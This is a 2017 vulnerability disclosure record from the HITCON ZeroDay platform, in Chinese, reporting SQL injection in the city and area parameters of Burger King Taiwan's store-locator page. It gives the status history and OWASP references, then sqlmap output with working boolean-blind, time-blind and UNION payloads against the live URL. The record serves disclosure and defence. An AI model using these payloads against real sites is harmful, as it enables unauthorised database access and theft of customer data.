漢堡王 資料庫注入 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2017-00414
  •  發信 Vendor: 漢堡王
  • Title: 漢堡王 資料庫注入
  • Introduction: 資料庫注入

處理狀態

目前狀態

公開
Last Update : 2017/07/23
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2017/05/23 23:20:12 : 新提交 (由   更新此狀態)
  • 2017/05/23 23:51:53 : 審核完成 (由 HITCON ZeroDay 平台自動更新)
  • 2017/05/28 02:27:20 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/05/28 02:27:21 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/05/31 11:19:13 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/07/23 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2017-00414
  • 通報者:Pushhh ( )
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.burgerking.com.tw/store.php?city=1&area=104

敘述

情境描述:前陣子Flash事件,讓大家關注了一下漢堡王,我也好奇看了一下順便路過看看(之前小忙沒回報,最近測了一下漏洞還在)
http://www.burgerking.com.tw/store.php?city=1&area=104
參數city和area在屁股賦予'會跳一下,我的心也跳了一下

Parameter: area (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: city=1&area=104 AND 8411=8411

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: city=1&area=104 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: city=1&area=104 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176767171,0x746f685164644b4278475045624b6f4d5a744b6878434c616d4b6f68686c56656252536b716e6f4e,0x716a6a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- wDFG

Parameter: city (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: city=1 AND 9081=9081&area=104

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: city=1 AND SLEEP(5)&area=104

Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: city=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176767171,0x5478744a724945535a714942657752666161707071527967586b624e5a5745654e716b4f507a4a4a,0x716a6a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- bkxa&area=104

there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: city, type: Unescaped numeric (default)
[1] place: GET, parameter: area, type: Unescaped numeric
[q] Quit

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;